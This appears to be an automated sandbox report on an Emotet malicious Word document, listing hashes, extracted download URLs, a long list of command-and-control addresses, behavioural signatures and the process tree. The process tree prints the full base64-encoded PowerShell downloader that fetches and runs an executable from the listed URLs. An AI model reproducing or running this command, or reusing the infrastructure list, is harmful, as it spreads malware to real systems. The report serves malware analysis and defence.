Analysis
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max time kernel
148s -
max time network
151s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
28-07-2020 18:46
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_7cd5225c929ffc27c91ce7e9a9c9ae0cd7617d0d64835d513c84fedbae6ae31a_2020-07-28__184540._doc.doc
Resource
win7
General
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Target
emotet_e2_7cd5225c929ffc27c91ce7e9a9c9ae0cd7617d0d64835d513c84fedbae6ae31a_2020-07-28__184540._doc.doc
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Size
171KB
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MD5
b84387a2ed99725784801f90836417db
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SHA1
b08ab3b540ad093398962c9d9ca39d1e109bcd5d
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SHA256
7cd5225c929ffc27c91ce7e9a9c9ae0cd7617d0d64835d513c84fedbae6ae31a
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SHA512
fc8d30abf9d48bc2b189093c349c832f3927e3398da5d29ae5c3668b5d07f1913e20c813df22a6b3f2d9298ded84129814743833c8f21a53954c129e2a5e71f5
Malware Config
Extracted
http://bunchproperties.com/lyhvmiq/s_ia_4uaq/
http://badeggdesign.com/cgi-bin/nxr5_o_d6vmj/
http://calledtochange.org/calledtochange/0_76zqg_bwnxpr84/
http://www.cinefamily.org/phpMyAdmin-4.7.9-all-languages/5um_oot_hz8/
http://bodbderg.net/wp-admin/ogfv5_4_x2l/
Extracted
emotet
76.27.179.47:80
212.51.142.238:8080
189.212.199.126:443
61.19.246.238:443
162.154.38.103:80
91.211.88.52:7080
83.110.223.58:443
124.45.106.173:443
116.203.32.252:8080
109.117.53.230:443
5.196.74.210:8080
75.139.38.211:80
168.235.67.138:7080
176.111.60.55:8080
169.239.182.217:8080
74.208.45.104:8080
31.31.77.83:443
222.214.218.37:4143
37.139.21.175:8080
91.205.215.66:443
93.156.165.186:80
78.24.219.147:8080
87.106.136.232:8080
87.106.139.101:8080
81.2.235.111:8080
62.75.141.82:80
181.230.116.163:80
95.9.185.228:443
173.91.22.41:80
153.126.210.205:7080
113.160.130.116:8443
190.55.181.54:443
137.59.187.107:8080
209.182.216.177:443
91.231.166.124:8080
95.179.229.244:8080
201.173.217.124:443
5.39.91.110:7080
109.74.5.95:8080
104.131.11.150:443
104.236.246.93:8080
209.141.54.221:8080
95.213.236.64:8080
210.165.156.91:80
46.105.131.79:8080
24.43.99.75:80
203.153.216.189:7080
180.92.239.110:8080
62.138.26.28:8080
104.131.44.150:8080
139.130.242.43:80
79.98.24.39:8080
41.60.200.34:80
93.51.50.171:8080
47.153.182.47:80
185.94.252.104:443
71.208.216.10:80
200.41.121.90:80
70.167.215.250:8080
121.124.124.40:7080
157.245.99.39:8080
139.59.60.244:8080
103.86.49.11:8080
50.116.86.205:8080
46.105.131.87:80
162.241.92.219:8080
152.168.248.128:443
200.55.243.138:8080
190.160.53.126:80
24.234.133.205:80
37.187.72.193:8080
108.48.41.69:80
110.145.77.103:80
Signatures
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Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/4056-10-0x00000000005C0000-0x00000000005CC000-memory.dmp emotet behavioral2/memory/2336-13-0x0000000000540000-0x000000000054C000-memory.dmp emotet -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
WINWORD.EXE853.exewlangpui.exepid process 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 512 WINWORD.EXE 4056 853.exe 4056 853.exe 2336 wlangpui.exe 2336 wlangpui.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 512 WINWORD.EXE 512 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2608 1128 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 2608 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powersheLL.exewlangpui.exepid process 2608 powersheLL.exe 2608 powersheLL.exe 2608 powersheLL.exe 2336 wlangpui.exe 2336 wlangpui.exe 2336 wlangpui.exe 2336 wlangpui.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 15 2608 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
853.exewlangpui.exepid process 4056 853.exe 2336 wlangpui.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
853.exedescription pid process target process PID 4056 wrote to memory of 2336 4056 853.exe wlangpui.exe PID 4056 wrote to memory of 2336 4056 853.exe wlangpui.exe PID 4056 wrote to memory of 2336 4056 853.exe wlangpui.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Drops file in System32 directory 1 IoCs
Processes:
853.exedescription ioc process File opened for modification C:\Windows\SysWOW64\mswsock\wlangpui.exe 853.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_7cd5225c929ffc27c91ce7e9a9c9ae0cd7617d0d64835d513c84fedbae6ae31a_2020-07-28__184540._doc.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABVAEYAQgBJAEkAbABpAGkAPQAnAEcASABBAE8ARQBsAHoAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAGAAUgBpAGAAVABgAFkAUABSAG8AYABUAG8AQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFcARQBSAEwAcQBiAHoAIAA9ACAAJwA4ADUAMwAnADsAJABIAEcATgBQAEsAcwB1AG0APQAnAE0ASABYAFoAQwBkAGcAbAAnADsAJABOAFQAVwBYAFoAbgBqAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAVwBFAFIATABxAGIAegArACcALgBlAHgAZQAnADsAJABGAEsATABQAFIAbgBjAHAAPQAnAEUAUgBUAFMAWAB1AG8AcwAnADsAJABKAEQAVQBGAEIAdABjAHAAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBOAFQAOwAkAEUARgBCAFkASABoAG4AaQA9ACcAaAB0AHQAcAA6AC8ALwBiAHUAbgBjAGgAcAByAG8AcABlAHIAdABpAGUAcwAuAGMAbwBtAC8AbAB5AGgAdgBtAGkAcQAvAHMAXwBpAGEAXwA0AHUAYQBxAC8AKgBoAHQAdABwADoALwAvAGIAYQBkAGUAZwBnAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbgB4AHIANQBfAG8AXwBkADYAdgBtAGoALwAqAGgAdAB0AHAAOgAvAC8AYwBhAGwAbABlAGQAdABvAGMAaABhAG4AZwBlAC4AbwByAGcALwBjAGEAbABsAGUAZAB0AG8AYwBoAGEAbgBnAGUALwAwAF8ANwA2AHoAcQBnAF8AYgB3AG4AeABwAHIAOAA0AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AYwBpAG4AZQBmAGEAbQBpAGwAeQAuAG8AcgBnAC8AcABoAHAATQB5AEEAZABtAGkAbgAtADQALgA3AC4AOQAtAGEAbABsAC0AbABhAG4AZwB1AGEAZwBlAHMALwA1AHUAbQBfAG8AbwB0AF8AaAB6ADgALwAqAGgAdAB0AHAAOgAvAC8AYgBvAGQAYgBkAGUAcgBnAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBvAGcAZgB2ADUAXwA0AF8AeAAyAGwALwAnAC4AIgBzAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAUABRAFEATgB6AHAAdwA9ACcASgBIAFkASwBZAGEAZwBqACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAFQATgBCAEMAZgBiAHEAIABpAG4AIAAkAEUARgBCAFkASABoAG4AaQApAHsAdAByAHkAewAkAEoARABVAEYAQgB0AGMAcAAuACIAZABPAHcATgBgAEwAbwBgAEEAZABgAEYASQBsAEUAIgAoACQARABUAE4AQgBDAGYAYgBxACwAIAAkAE4AVABXAFgAWgBuAGoAeAApADsAJABDAFMAUABBAE0AdQBkAHEAPQAnAFoAVABLAEQATABrAGkAegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAE4AVABXAFgAWgBuAGoAeAApAC4AIgBMAEUATgBgAGcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADQANwA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBlAGEAYABUAEUAIgAoACQATgBUAFcAWABaAG4AagB4ACkAOwAkAFAAWABMAFoAVQB1AHQAaAA9ACcAVABUAFQATABOAGkAbQBhACcAOwBiAHIAZQBhAGsAOwAkAEcAQwBXAE0AVwBlAHEAYwA9ACcARwBXAE8AQwBZAGUAZgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAUwBVAEYAVABtAG0AeAA9ACcARwBJAFcAVQBZAGoAZAB0ACcA1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
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C:\Users\Admin\853.exeC:\Users\Admin\853.exe1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
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C:\Windows\SysWOW64\mswsock\wlangpui.exe"C:\Windows\SysWOW64\mswsock\wlangpui.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\853.exe
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C:\Users\Admin\853.exe
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C:\Windows\SysWOW64\mswsock\wlangpui.exe
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memory/2336-11-0x0000000000000000-mapping.dmp
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memory/2336-13-0x0000000000540000-0x000000000054C000-memory.dmpFilesize
48KB
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memory/4056-10-0x00000000005C0000-0x00000000005CC000-memory.dmpFilesize
48KB